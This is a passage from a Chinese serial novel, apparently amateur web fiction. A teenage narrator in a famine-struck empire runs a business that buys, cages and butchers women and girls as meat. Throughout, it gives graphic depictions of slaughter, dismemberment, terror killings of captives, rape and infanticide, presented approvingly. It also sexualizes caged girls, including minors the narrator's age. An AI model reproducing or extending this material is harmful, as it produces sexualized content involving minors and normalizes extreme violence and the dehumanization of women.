图片载入中

夷洲乱

特大字】 【大字】 【中字】 【小字

夷洲乱

作者:不详 字数:2.8万

一、人间

一大早我就在父亲的吆喝怒骂中起床。他像往常一样掀开了我的被子顺便朝 着我的床踹了一脚,对此我早已习以为常。想来很小以前父亲这脚是要踹在我身 上的,因为小时的我十分贪恋床的温暖,随着我渐渐长大,父亲也就慢慢的丢下 这无用的方法。现在的我有很多地方是父琴需要的,有很多活是父亲要我亲自干 的,至于那些活刚开始的一段时间父亲只在一边看,偶尔他会上来帮我一把,看 我做的不好便会粗暴的把我推开并且亲自动手,因为我们刀下的菜人是丝毫浪费 不得的,特别是在父亲起家的那一段时间。父亲的活交给我两三年后他就不干了, 他将所有的工作都让我一个人解决,这样我的活就包括了对菜人的采购以及饲养 和宰杀,那时我才十岁。

被父亲叫起来后我照例在厨房转了一圈,开始为今早的生意做准备,然后到 关押菜人们的笼子里,挨个抚摸抚摸她们全身细嫩的皮肤和柔软的肉体,考虑着 这个或那个养得差不多了,是时候该宰了。看看她们不同的睡姿,已经成年的我 稍微有了身体上的冲动。好在我的年龄尚早,到了今年也就十五,从我接替父亲 的工作以后早就不把圈养在屠房里的菜人们当人看了,父亲很早以前就警告过我, 屠夫是不能对自己手上的肉产生感情的,多余的感情只能干扰工作。我还记得那 时的父亲的表情很嗜血,眼睛充满血丝,就像现在的我在工作时一样,对于那些 肉板上的肉,如果说菜人还在笼子里时我还把她们当人看,当我把她们扔在肉板 上或倒挂在肉架子上时,她们对于我来说只是我需要处理的肉。

杀人是犯法的,不要说杀人还是为了要吃人,对于我和父亲这一类人来说被 朝廷砍十次都不为过。死固然是可怕的,可死的不会是我们,最重要的一个原因 就是因为我和父亲是男人。父亲这一类人在现今是多的不能再多,在外城我们这 条街做买卖菜人生意的就有四五家之多,我知道其中有一家的老板就是一个女人, 她还不是照例对肉板上的女子下刀。每天屠杀菜人的生活一点都不必当心害怕, 这个世道早就乱了,朝廷虽一心图强,想早日摆平乱摊子,依旧是心有余而力不 足,倒是朝廷一早便规定了买卖菜人的制度,谁要是敢烂杀无辜,第一个死的绝 对是你自己,想那皇帝还不是天天摇头叹息着吃着盘中的人肉,无奈啊,谁叫国 家才刚刚稳定,穷到连吃的都没有。唯一值得苦恼的,不论是谁,只要是做我这 一行的,刚开始的那一段时间,恐怕夜夜噩梦。

穷和苦,究其原因是因为中原两百多年的大混乱造成的,两百多年下来中原 的男人们无不是倒在了战场上,伴随着战争数以万计的百姓死在自己的家园里, 外战打完了更可怕的内战爆发,直道最后朝廷取得胜利。即使朝廷取得了胜利, 对中原人来说前六十年仍是极其屈辱的历史,短短六十年的时间里就有五位皇帝 登基,到了哀帝,便是现在的皇帝,用了二十年的时间才将敌人抗拒与国门之外, 要说灭敌是不可能的,这一点大家心之肚明,但是这么一来中原的男人更是少之 又少。到了我十岁那年,国家才平静下来,为什么菜人里见到的都是女子就是这 个原因,想要卖男的也可以,朝廷没说不准,不过谁敢啊,所有买卖菜人的都知 道只能卖女不能卖男,连普通市民都知道要卖女儿,何况生有男儿便捡到了个宝。

不过有件事却是朝廷意料之中又是意料之外的事,国家鼓励生育,现今每个 男人都可有成群的妻妾供男人生子,这样一生结果男孩是有了,女孩更是接踵而 来,其中的原因就是大家为了有一个儿子拼命的生育,男孩没生到一个就已经有 许多的女孩出生,国家就是按这种情况缓慢的恢复人口,同时伴随男女生长比率 的不平衡,粮草也在急剧的下降。市民们为了煳口想尽一切办法,家里有成群的 妻女,哪一天不行了,老婆女儿一绑,直接送到人肉市场上去,太小的孩子干脆 直接摔死,朝后水沟随便一丢便解决,这年头找一个坟都难。

世间的女子皆是这般活着,别无它法,民间常有的说法,女子要死干脆死在 餐桌上,白死不如喂饱活着的人,女子连自杀都只能跑到人肉贩子面前死,就连 怎样死都由不得自己。宰杀菜人就算是在前朝也不是说杀就杀,买卖菜人的肉贩 子和屠杀菜人的商贩在当地都有登记的,没有登记的就不行,至于黑市里的情况 我就不说了,真要明令禁止的话,我家的生意量会减少的很。要卖的菜人,可以 说都是女子了,她们都要到衙门的书记处登记,还要摁手印,手印一盖完,被卖 的女子就不是人了,在衙门里便可以当场宰杀。时常在衙门书记处还可以看见肉 贩子牵着两三个女子进来,见她们的双目迷茫的样子肯定被民间流传的迷药给弄 倒的,这时要她们说什么做什么被骗来的女子都会照做。至于不是本城的,外来 的女子,一般都没有经过衙门,而是商贩之间私下交易,衙门对此只当作没看见, 他们也忙不过来。

人贩子将女子拐骗成菜人要有一双能够分辨的眼睛,街上一般的女子可以拐, 但那像书院里读书的女子可不比街上的女子,她们上下学都有专人护送,家里的 长辈不是有钱就是有势,甚至有的父母是他们的同行,这里指的不若是我,原本 我是不愿读书的,在父亲的坚持下,空闲的时间里人肉生意只得放在一边了。在 学院里见不到太多的女学生,学院门口有衙门以及学生父母出资聘请来的护卫, 有些是自己家的门奴,他们个个手持钢刀,无关人等是进步来的。在这种护卫下, 学院并不是一贯的安全,朝廷明令了买卖菜人的制度,黑市里的买卖就残忍了多, 明抢是最常见的事,隔三差五的一群蒙面人冲进学院里就抢人,被抢的女学员我 可以说隔天就能在餐桌上看到,一堆肉罢了,谁叫少女的肉最为香嫩。剩下那些 没被宰的流落到各家手中,如有家人找到并要赎走的,商贩们不会为难,双倍的 价钱拿来就可以,没来赎的,她的户籍自然煳涂的被销了,官家人不会管的太严, 说到底没来赎被抢走的女学员的父母没有一个会不知道女儿流落到哪里,他们出 于各种原因不来罢了。不管是街上被拐骗的女子还是过活不下去被家里人卖掉的 女子,以及强抢来的女子,无一不流落到人肉市场上,她们的户籍自然被销了, 户籍一旦被销可以说别想做回人了,所以现今只有女子组成的菜人们,大家已经 不叫她们菜人了,而是“双脚羊”。

里头的秘密交易我清楚地很,从我八岁进学堂开始,父亲常常问我学院里有 多少个女学员,家世怎样,我一一告诉了父亲,想来为什么劫匪每次来时我没受 伤的原因就在此。回想起来,家里长期圈养的几只双脚羊中,有一只是父亲第一 次问我学院情况后突然出现的,也就是那时我明白了父亲以及一些人的意图。当 时我觉得愧疚,在加上那名被抢来的小女孩和我岁数相同,父亲最终同意了,他 离开时狠狠地说了一句话“养大喂肥了我非活剐了她。”那一次,其实也是最后 一次出现强抢书院女子的情况,到现在再没发生过。很久以后我才知道,那次抢 掠差点连城主的二女儿给抢了,城主知道后便动了真格。

说说那个被我留留下的女孩,那时她还小,她的父母来看过她一眼,她父亲 没有任何表情,而她母亲只是她父亲众多女人中的一个,想来是不要了,大家族 里很少在意自己家里的女孩子的。后来,我天天叫她“小肉”,她一开始哭哭啼 啼的,隔了两三年后她也渐渐把自己叫做“小肉”。可能是父亲和我都忙于生计, 忽略了人肉圈里的小肉,到了现在小肉和我一般的年纪,身体各方面都开始发育, 我每天的工作就有帮她们喂食以及洗澡和如厕,在我帮小肉察身子时,我才会想 到她的命是我以前捡回来的。小肉唯一有印象的就只有我,那时父亲已经不宰双 脚羊了,至于那些刚来没多久就被宰了的羊儿就不要说了。每次我要宰羊的时候, 羊圈外围的帘子我都要拉起来,可那时小肉跟我说她想见到羊儿是怎样被宰杀的, 因为她想知道她被宰时会是怎样的,到那一天她就不会那么怕。我也不知道怎么 原因,我竟答应了小肉,帘子漏了一角,她可以从这个角见到我干活的情景。等 我做完时回过头来发现小肉吓昏了,她大病了一场,该她命大,想不到第二天她 的病好了,不然隔天该宰的救是她。后来,小肉和我相处的时间里我总觉得她怕 我,在她的脑子里早已意识到终有一天我会将刀割在她的身上的。

不是我残忍,没有人会给她治病,我愿意大夫也不会给低下的双脚羊治病的, 她们已经连做人的资格都没有,在世人的眼中她们只是盘中的菜。女人沦为天下 人的盘中餐、腹中食,没有人会觉得自己像曾一度打入中原的八荒夷人,他们的 军队践踏过我们的都城,那二十年抵御夷人的历史,是全中原人屈辱的历史。

好在我现在需要小肉,源于生意火了,而我又不喜欢去招聘工人来帮忙,屠 宰间里的活都是我一个干,实在干不下去了,我就把小肉拉了出来,让她帮我做 一些杂活,我也很乐意将替双脚羊净身和如厕的工作交给小肉,不然白养着啊, 说不定哪一天我会真宰了她。小肉和其它双脚羊都知道,自从她们轮为双脚羊以 后它们就没有了名字,更不要说什么权力,唯一能做的就是等着哪一天自己被宰 了。

让人哭笑不得的是,对于刚即位时的哀帝在重整山河上不知道是福是祸。没 有人愿意说明白,二十年的抵御战争让男儿在一次面临消亡,另一面夷人掠夺女 子充当军粮,很大程度上减缓了国家的人口压力和粮食危机。

他们过得不比现在的我们好,听说他们都要亡国了,比我们还穷,至少我们 还有女人吃。

二、双脚羊

夷洲城因夷人而闻名,它的地理位置接近皇都,夷人入侵时曾将这里作为进 犯皇城的跳台,在这里打了几场影响巨大的战争,夷人因战胜这里而攻占了皇城, 又因这里的失败注定了败北的命运。父亲来到夷洲城的时候我还没出生,就是在 这个时候父亲在这里安了家,生意也是这时候发展起来的,那时战事还不稳定, 夷人入侵趋于结束,大片地区的控制权已经给朝廷夺了回来。我没问过父亲母亲 怎么回事,她肯定不是因为难产而死的,在我幼小时的记忆里还有母亲抱过我的 记忆,到了现在我继承了父亲的命运,大概猜到母亲的命运如何,心里想的却是 但愿母亲是病死的。

入侵的夷人,这些来自蛮荒之域的野蛮夷族还保留着原始的食人兽性,在战 争期间他们大掠中原,抢劫了无数财富,还掳掠了数万名中原少女,这在某些方 面减少了朝廷的负担,我估计这里面有朝廷的算计。夷人在从夷洲城败退时因有 大批少女不能带走而埋在城墙下以及丢进护城河中,至此护城河断流,夷洲城没 有了护城河的保护,所有的位置填满了少女的尸身。护城河的问题的解决源于粮 草的危机,夷人的败退使得城中无量,大批的饥民到城墙外抢夺尸身,我的父亲 便是身先士卒,我从同为人肉贩子的商人那听到的,没有人会感到羞愧,那时大 家想的是怎么让自己活下来,而我小时也是靠这些肉长大的,父亲因此想到贩卖 人肉的买卖,直到护城河里少女的尸身腐烂的不行,护城河里的水才重新流淌。 如今往护城河水底望去,还可见累累的白骨,是屈死的少女,不得不说她们是双 脚羊的先例。

吃人在中原可谓历史悠久,可笑的是那些凶蛮的夷人还不如我们,在他们沾 沾自喜的时候却被中原人反征服。这些夷人简直就可以称之为“食人恶魔”了, 他们行军作战没有粮草,掳掠中原女子作为军粮,夷人首先称中原女子为“双脚 羊”。被掳来的女子夜间供士卒奸淫,白天则宰杀烹食。夷族对中原的血债实在 太多,在他们所建立的短暂政权中,中原几乎到了灭族的边缘。等到夷族从夷洲 城暂时败退,朝廷在夷洲一次解放被掳掠的中原女子达二十万。这些中原女子不 是被掳去作妻作妾的,而是作为“双脚羊”一样的家畜,随时随地被奸淫蹂躏, 也可能随时随地被宰杀烹食。有五万多少女这时虽被解放,但也无家可归。后来 夷族重新攻占夷洲城,这五万名少女又全部落入食人恶魔的手中,当时正值冬季, 城内无粮,朝廷的军队很快攻入外城而将内城团团围住,内城里有的是夷族的军 队和剩下的那五万中原女子。

不是朝廷的军队不去救她们,而是朝廷从夷人那吃了亏以后,夷洲城被修筑 的不是一般的坚固,对于当时的朝廷来说怎么样都不能再有伤亡,只好将内城围 住,让他们将双脚羊吃完后活活饿死。这五万名刚刚脱离夷族魔爪的可怜少女又 被充作军粮,一个冬天就吃了个干净。夷洲城内这五万名少女的碎骨残骸堆成了 小山,即使明知会这样,当权者们还是会觉得后背发凉,生活在夷洲城内的百姓 们日夜寝食难安。从死人堆里爬出来的人对生死看的不是那么重要了,在夷人统 治他们期间活着的人看惯了家破人亡、屠宰女子。有些人在前些时候家道还算厚 实,有些人本身就穷的不行,转眼间发生翻天覆地的变化。乘着战乱,一些人富 了起来,这些人肯定是活着爬出来的人,不是那些以后移居在此的人。过去了十 多年,那段屈辱离开了十多年,住在夷洲城的人们大都鄙视肉贩子和肉馆里的人, 他们不知道,没有我们这群人的存在,他们迟早都要饿死。

直言不讳的说,父亲就是做这种人肉买卖,刚开始他不过是肉贩子,到我八 岁时他已经经营起这家肉店,专门圈圈养双脚羊,养肥了整个卖出去或切成肉块 放到摊子上卖,到父亲巴结上城主后在内城用卖双脚羊的钱买了套大宅子,开了 个餐馆,前厅供客人喝酒吃肉住宿,后院整片划为羊圈和屠宰食,我和父亲就住 在羊圈的上方,那儿只有两间当独得卧室。厨房和羊圈以及屠宰室是分开的,只 有一个小房间相连,这是为了不影响客人的用餐,厨房里的厨师大多不原意帮我 宰杀,而我也喜欢独自料理我的羊,尽管这很累。

宅子盘了下来,家里变得有钱,不得不说父亲在生意上有足够的才智,用很 短的时间往上爬,在夷州城里小有名气,能像父亲这样在内城开铺子的肉贩子才 第一个,当然这是建立在巴结上城主的基础上。夷族的侵略改变了很多人的命运, 包括父亲和我,以前有的人坐拥金酒美人,有的人沿街乞讨,战争一打下来什么 都变了,原先那些富人贵族们纷纷落入街头,和他们以前鄙视的乞丐一个养,常 常发出那样的感叹:“想当初,我的金子堆得比山还高。”话只能这么说,有的 人的命运刚好相反,父亲就是这么个人,和大多数靠战争发财的富人一样,他不 仅不避讳当年的卑贱,还总时时提起,以显示他创业的本事,比如他会在前厅大 摆桌,用我赚来的钱招待他那些酒肉朋友,大声告诉他们当初第一个想到靠卖双 脚羊的是他,第一个从护城河里拖出女肉的也是他,讲到这里他的朋友无不发出 感叹。

父亲是在酒桌上认识到城主的,是在搬进内城以前,父亲想往常一样和一群 人喝酒吃肉,他不忌讳他会吃掉多少钱,不然他好不容易调焦出来的儿子干啥的。 不知道那天城主是怎么回事,竟然想到去外城巡查,外城有的都是三教九流,然 后就遇到父亲。说真的,城主那胖样,肚子上都是肥肉,全身穿着平常百姓的衣 物,谁也认识不出他就是城主。父亲见到城主立马邀他来喝酒吃肉,两人很快就 谈了起来,说不出是不是父亲的运气好,两人竟有相见恨晚的感觉。城主给我的 印像是亲却,他倒不介意我看谁都像屠夫一样的目光,倒说我生得俊秀,一点也 不像父亲大老粗,而我的想法是我怎样也不会去宰这团肥肉的,想那满身的脂肪 我就恶心,我的羊剖开来好看多了。

父亲姓郭,城主每次来都喜欢大声叫唤“郭无常”,郭无常不是父亲的名字, 是我的名字,不过我不姓郭,我姓白,和城主一个姓,是皇室的姓氏。不止城主 叫我郭无常,就连父亲以及我认识的人都叫我郭无常,从出生到现在我一直用这 个名字。我之所以说我姓白,是因为父亲在没人的时候一直在给我强调,说我姓 白,姓白的人一定要会读书识字。我被父亲唠叨的心烦,我问父亲为什么一直要 说我姓白,至古子女皆随父姓,不会因为我的母亲姓白而叫我姓白吧。父亲被我 逼急了赏了我一巴掌,结结巴巴的朝我吼:“你的母亲就姓白,从今以后你给我 记住了,你的姓氏只有你自己知道,谁也不能说!”我很奇怪,姓白就姓白,有 什么奇怪的,皇室并没有禁止天下人不能姓白。

白无常,一个属于阴间的名字,是勾魂使者白无常的名字,唤起来真的很不 自在,尤其是作为自己名字的时候。在外人在的时候我姓郭,独自一个人的时候 我不断提醒自己姓白,叫无常,不是父亲强行给我灌输的原因,而是我记忆中母 亲模煳的影子,她姓白吧!白无常就白无常吧,作一个活死人有什么不好,活着 像鬼死后我就不怕下十八层地狱。说起地狱,连着厨房的屠宰间就真的是地狱了。 对于双脚羊对于走进这间房间的任何一个女子来说都是地狱,按我的说法,只要 是女的进来以后都别想活着出去,唯一例外的就是厨房里的女帮工,她们能进到 屠宰间也能出去,不同的是她们是我从肉拐子上买来的女奴,签了卖身契。她们 的命只属于我,我能随时杀了她们。被我买来的女奴平时只在厨房和屠房间走动, 偶尔帮我和父亲作些家务,到了晚上她们和双脚羊一样被锁起来,锁到厨房和屠 房之间相连的小房间里。日里她们是没什么自由的,不能随意上街,她们的地位 只比双脚羊高一些,在外面是很容易被肉拐子拐走,所以女奴们知道自己的处境, 没有一个有逃跑的倾向。

女奴们无法从我这里逃跑,更别说被拴在羊圈里的双脚羊了,屠房简直就是 一个地狱,我已经说过了。屠房有两扇门,前门和后门,前门是用来将双脚羊送 到厨房的必经之路,连接着厨房和屠房的小房间都装有铁门,不是那么容易就能 打开的,而且小房间里住有女奴,如果真的有双脚羊从前门逃跑,首先就会给女 奴们发现,而那两扇铁门其实是用来关女奴而不是双脚羊的。由于双脚羊不能经 过前门到达屠房然后锁在羊圈里,所以直接在屠房的后墙开了个门,走几步路就 到了宅子的后门,买卖和运送双脚羊时都是在后门进行的,买来以后直接将她们 带进屠房关进羊圈里,期间她们可以看见一扇厚重的大铁门,看起来非常牢固, 不是前门那两扇铁门能比的,还有就是门环上有一条大大的铁链套着一只大锁, 双脚羊们还没进到屠房看见这个门就意识到进去以后就出不来了,特别是铁门的 上方书写了大大的两个字——屠房,这意味着双脚羊们一旦进去以后就将被无情 的宰杀,这给她们心里带来无比的压力,同时也告诉她们自己的身份,再坚强的 女孩经过这道门大多会很乖顺的接受下面的一切的。

每次带双脚羊们进屠房时迎面扑来的就是浓烈的血腥味,不管我怎样清理都 没用。我尽量的让双脚羊们不要去注意屠房的摆设和已经肢解完的女人肢体以及 挂在墙上风干的人皮,可是血腥味让她们不顾我的指示,抬起低下的头,然后有 的羊儿开始大哭大闹,有的已经吓懵了,这时她们出于本能开始反抗,想从我还 没来得及关上的后门逃跑,这个时候是该给她们点教训的时候了,让她们不敢生 出反抗逃跑的念头。我会选挣扎最为激烈的双脚羊来宰,当着其余双脚羊的面将 她宰杀,把她身上的肉一块一块的割下来,当我把被选中的双脚羊剩余下的头颅 仍进墙角的垃圾袋后便把她们集体关进羊圈里,羊圈里没有被手撩子反绑着手琐 住的小肉和姐姐阿雯会安慰已经被吓傻的双脚羊们,已经被圈养了一阵的双脚羊 们已经认了命,她们同样去安慰刚进来的同伴们,她们都是肉畜了,反正都要死 便放开些吧。

我是这样跟她们将的:“老天注定了你们的命就该死,那么晚点死总比早早 的死好。”人都是贪生的,尽管无法接受死亡的命运,但能活一天就多活一天。 我不这样说,不出三天双脚羊们便会被自己的心理所压倒,瘦得可见骨头,还不 如一买来就直接被宰了,像被我选中当众宰杀的羊儿一样。

这种生活很累,如果是以前,没有开楼子的时候我会毫不犹豫地宰了她们, 现在为了她们的新鲜,不得不多花些心思来应对。

三、姐姐

父亲喜欢喝酒,白天夜里衣扣上总挂着一个酒袋,时不时就要喝上几口,喝 了酒便把牢骚发到跑堂身上。父亲现在很少骂我,我成了父亲的影子,继承了他 的一切,一个人对自己的影子永远都是疼爱的。被父亲唤醒,在屠房吃过早饭后 我将屠房后门打开,驱散里头的血腥味,这时我看见父亲在喝足酒后走到后门, 后院里正有两个女奴在晒衣服,父亲看了她们一眼,骂骂咧咧地站在三个踏步的 台阶上,旁若无人地对着巷子里的青石板路面撒尿。酒令父亲情绪高涨,尿水拉 得很长,在旁边晒衣煳的女奴立马低下头,我可以看见她们的脸上升起一片红霞。 我被父亲的举动吸引了,他尿得很响,很放肆,我想父亲放肆的行为中有着对平 庸、单调、乏味生活的不满,特别是他教会我怎样宰杀双脚羊以后,一向沉闷的 我竟然爱上了这种感觉。

我靠在冰冷的铁门上眯着眼,还在为父亲刚才的举动发呆,一只手轻轻地放 在我的身上,在我的肩膀上缓缓地揉捏着,我感到一阵舒服然后便是迷茫,一转 身便遇上一双希冀的眼神,那是从绝望中存活下来的眼神。我稍微喘了口气,是 啊姐,对于这个失而复得的姐姐我一向看得很重,如果说一年前我在屠板前没注 意到她身上的胎记,啊姐便会莫名其妙的死在自己亲人面前,而我也不知道我的 屠刀下躺着的是自己的姐姐。可惜的是,我终归是晚了一步,发现姐姐身上胎记 时我已砍下她的左臂。姐姐一向穿得简单,今天也是如此,上身和下身只用人皮 做成的皮条围住自己的身体,让自己的羞处不暴露出来,齐腰的长发用一条白色 的绳子捆住,一眼看去首先见到她被太阳晒得健康的黄皮肤,左臂上触目惊心的 伤口。

由于她差点被我宰杀,在开始的一年里姐姐很怕我,一年后好转,她才意识 到自己的命总算保住了,将幼时失散以后的事一一告诉我和父亲,听了姐姐的遭 遇以后,我只能感叹老天真的很会捉弄人,姐姐一直呆在夷洲城里,自从姐姐走 散以后父亲就当姐姐已经死了,当姐姐的记忆要从我的脑子里逝去的时候她竟然 突然回到了我的身边。姐姐还活着可她不能再做人了,父亲给了她一个奴隶的身 份,所有权归属郭家,不然姐姐出去以后恐怕就再没回来的机会,这也是为了姊 姊的安全,自从回来以后姐姐再没走出郭家一步,我知道,姐姐生得不难看,难 看的是她的断臂。尽管姐姐现在的身份是奴,可她不是一般的奴,这里的人都知 道,在后院空余的房间里我为姐姐准备了一间,可她不要,坚持要住在羊圈里, 这大概是因为姐姐有过同等的命运,最后我只得由她。我跟同样住在羊圈里的小 肉提过,让她陪着点姐姐,让姐姐有个说话的伴。

白天小肉要帮我照顾双脚羊,到了夜里关门以后小肉套上脚镣,双手重新反 铐着钻进羊圈里,而姐姐手上则有一把明早替小肉解开脚镣和手铐的钥匙。姐姐 很震惊的看着和其她双脚羊一样绑躺着的小肉,小肉发现惊呆了的姐姐,告诉她: “姐姐,我也是羊儿啊!”姐姐花了老半天才反应过来,一句话也不说,好在小 肉没忘记我的交代,一直捞姐姐讲话,没过多久姐姐也就和小肉小声的交谈起来, 其她的羊儿们都睡着。果不其然,半月以后姐姐已经能够和大家交谈,姐姐的经 历有些特殊,懂得一些屠宰的方法,慢慢的姐姐在一旁帮我工作,唯一的右手越 发的灵活起来。她不介意做这种事,只是在宰杀羊而的时候希望能给她们一些痛 快,毕竟姐姐可以忍受看起来残忍的肢解人体的事。

说不出姐姐的命苦还是命好,她今年已经二十三了,早过了出阁的年龄,如 今不知道还会有哪些人要姐姐。姐姐是在我五岁时走失的,原来姐姐当年不是走 散的,而是被人贩子拐走的,看她年纪还小又长得漂亮就不舍得卖掉,那个拐她 的人也是一个屠夫,宰羊的时候姐姐都在他身边,虽说这种经历不多,但姐姐看 多了也就懂了。没过两年姐姐年满十五的时候那个屠夫想都没想就要把姐姐卖掉, 好在姐姐人长得漂亮人也生得机灵,乘屠夫不注意的时候跑了出来,她想去找父 亲却不知道去哪里找,结果又被拐到羊窟里,一呆就是五年。我没问过姐姐生过 孩子没有,姐姐只说:“我也不清楚他们都到哪去了。”姐姐说得很伤感,她接 着告诉我,是一个富人看上了她,把她从羊窟里接出来,可是富人没玩多久就把 她遗弃在街上,后来的事我都知道了。

我说不出对肉拐子的感情,父亲是肉拐子、我是肉拐子、拐子弟也是肉拐子, 连那曾经拐走姐姐的家伙也是肉拐子,姐姐因肉拐子被拐走又因肉拐子而回来, 这世上没有肉拐子真的不行,世人因我们而不致饿死。姐姐能够回来我还真得谢 谢拐子弟,拐子弟是我熟识的一个肉拐子,爹娘早逝,比我小一岁,他家里有一 群弟弟妹妹要养,不想妹妹们长大以后会招到双脚羊一样的命运,弟弟们也要长 大,所以他自己便当上了肉拐子。还好我们小时候是玩伴,相互间很照顾,父亲 发家以后我给了他很多方便,常让他来拿一些剩肉回去,而他的弟弟妹妹们就干 脆来我这帮点忙,反正也没什么活让他们干,那些小鬼既有地方玩又不怕被人拐 走,拐子弟很是感动,天天大哥大哥的叫,每次拐到了羊儿立马朝我这送,不过 我也不能亏了他,每次都会剃些肉给他,晚上拐子弟便会带着弟弟妹妹们回家。 姐姐是拐子弟发现的,如果不是拐子弟,真不敢想像姐姐会沦落到哪里,或许早 就消化干净了吧,这都是一年前的事。

一年前我像往常一样将屠房后门打开散气,小肉正将双脚羊们从羊圈里拉出 来赶到水池边上,然后她和站在前面浑身赤裸的五个双脚羊一同跨入有半人高的 水池里,水池里的水池是清水,平常用来清洗双脚羊的身子,屠宰时水池里的水 用来清洗地板和刀具。小肉和水池里的五只双脚羊们彼此为对方洗净身子,任何 角落都不放过,她们作为羊儿能够在活着的时候如此轻松实属不多,所以在清洗 身子时她们不免互相嬉闹一下,小肉也不例外,她同样是一只羊,不过是命大一 点,总有一天会被我宰杀掉的。我不反对双脚羊们在洗身时稍微嬉闹下,这是我 对她们命运的不公平的补偿。小肉和五只羊儿在水池里清晰,其她没来得及清洗 的羊儿乖乖得站在一边,尽管看见了我将屠房后门打开,她们只是渴望的朝外面 看了一眼然后便落寞的低下头。一开始清洗完的双脚羊从水池里走了出来,乖乖 得站在了同伴身旁,下一披双脚羊同时进入水池里,小肉照旧给她们清洗身子。 她们都很乖,安静地站在墙角,等待自己的清理。看到这里我没看下去,这些工 作很烦琐,交给小肉就行了,除了叫她宰杀羊儿其她比如替双脚羊如厕、清洗刀 具的活大多都由她做。这样她的时间就很少,至少我记得小肉在卖来这七年里都 是在屠房活动的。

这些我已经看得习惯了,我走到屠房的西墙,西墙的地板上钉着七根木柱子, 每根柱子上都有三个铁环,一根柱子可以锁住三只双脚羊,唯一不同的是锁在这 里的都是一般货色,有的是上了年纪,有的是乡下的农户,还有的就是一些肉质 不好的羊儿,这些双脚羊当天买来以后一两天内全部被宰杀掉,不是作为一般的 菜肴就是作为猪或鸡的饲料。羊圈里的双脚羊就不同了,她们是专门用来调制一 些菜的,只有好的肉才能弄出好的菜,我才能赚到钱,才能继续营生。当我要去 解昨天宰杀剩下的农村女人时,她和站在水池边的双脚羊们眼中都闪现出惧色, 前者昨天就绑在这里,亲眼看见同来的女人一个个被杀掉,她的心里装满了恐惧, 后者因为要圈养一段时间,经历的比较多,不过清楚接下来将要发生的事再过不 久就要发生在自己的身上都开始害怕。小肉也看到了,脸色只是发白,并不象一 前吓得瘫到在地上。

在我要解开那个乡下女人的时候,一个很熟悉的声音从围墙外传来,伴随着 还有不断的敲门声,在清早显得格外响亮,待我听清楚以后,家里的女奴啊香小 跑着去开门,另外的两个女奴在厨房里洗盘子。屠房和宅子的后门离得很近,一 眼就认出是我熟识的肉拐子拐子弟,他不会这么早就把弟弟妹妹都带来了吧。我 松开了绑着农村女人的绳子,我看见她松了口气。我看了她一眼,这个乡下女人 吓出了一身汗,心里却暗暗说了句:“等会你还不是要死,有什么好放松的。”

拐子弟没有走进来而是我走了进去,看他神神秘秘的样子我开始猜想他的目 的,果不其然,谜底马上揭开了,我还没出后门就看见拐子弟手上牵了一跟绳子, 这家伙大清早的打扰我就是为了给我送羊啊。虽说我才十四,在这个圈里已经是 个老江湖了,被拐子弟牵来的是一个高挑丰满的女人,身上套着一件男人的服饰, 一看就知道是拐子弟的衣服,女子套着拐子弟短窄的衣服却掩饰不住她的身材, 看得出,她已经在这之前饲养了一阵,养肥些才卖来。我看这个女子肉质丰满, 皮肤有些发黄却是健康的肤色,正好今天要从羊圈里拉几头双脚羊出来做一些上 等的菜,看拐子弟牵来的女子刚好宰杀的票就买了下来。我说:“拐子弟,你怎 么也养起了羊儿?”出于好奇我忍不住问到,拐子弟看我的神色不对,立马跟我 解释,他说:“常哥,你看我养得起吗,这是我昨天晚上在街上捡来的,看她快 冻死了就把她带回家灌了口热汤,这不今早就给你送来了,说也奇怪,这女子也 不反抗,知道我要把她卖了不哭也不闹,只要我卖她的时候给她一件衣物遮体。” 拐子弟的话引起了我的注意,仔细打量这只刚沦为双脚羊的肉畜,发现她竟然一 脸平静,没有喜怒哀乐,眉宇间我竟感到有一丝丝的亲切和熟悉。驱散了心中奇 怪的想法,我说:“这样连登记都不要了,等会我叫厨房留点肉,中午你过来将 钱和肉一同拿走。”拐子弟没说什么就走了,我给的钱不算多,但其中的差额用 肉补足了也是一样。

我再看了眼牵在我手上的羊儿,她脸上的平静表明她已知道接下来将发生什 么,和那些被我圈养在羊圈里的双脚羊一样,静静地等待自己的命运到来。我将 她拉进了屠房,小肉已经将双脚羊们洗净并赶回了羊圈正准备大家的早饭。我叫 小肉先停下来,将刚买来的双脚羊拉进水池里洗洗,而我又走到西墙,那个尽剩 的乡下女人身子剧烈颤抖起来。

四、险失

小肉愣了下,明白地走到新买来的双脚羊身边,将她拉倒水池边,小肉注意 到新来的双脚羊身上穿着一件不对称的衣服,伸手就要去解双脚羊身上的衣物, 可是拉扯了半天衣服照样穿在双脚羊身上。“衣服”这个词太特别了,小肉身上 没穿衣服,因该说双脚羊是没有衣服穿的,小肉被我养了这么多年,到现在她不 记得衣服这东西要怎么穿。急来生智,小肉竟然跑到屠板面前拿了把尖刀划开双 脚羊的衣服,我没来得及告诉小肉,那衣服是拐子弟的,拐子弟特告诉我别把他 的衣服扔了,看来我还得陪拐子弟一件衣服。新买的双脚羊身上只有一件衣物, 当锋利的刀尖划开她的衣服时也接触到她的皮肤,她全身打了个寒颤,头低低的, 看小肉一用力就将她着遮体的衣物从身上扯下,露出丰满的身材。女人如今我见 多了,看见她们的身子能够保持一颗平常心,倒是小肉发出一声感叹,看了眼自 己的身材有看了眼对面女子的身材。替双脚羊解下衣服以后小肉一样的解开绑缚 着双脚羊手腕的绳子,还没等她活动自己缚疼的手腕,小肉强行将她的胳膊往后 扭,从新将她的手腕反绑着。小肉用力过头,双脚羊轻微的呻吟一声,抬起了她 的头,遇上小肉那双清澈的眼睛。小肉看出眼前的女子在害怕,她的肌肤在轻微 的颤抖,小肉知道我立马要宰了眼前的女子,她轻轻地安慰了声:“我给你洗洗, 干净的走总比身上脏脏的好吧!”没想到双脚羊很听话的点点头,照着比自己小 的小肉的话做,跨进水池里。

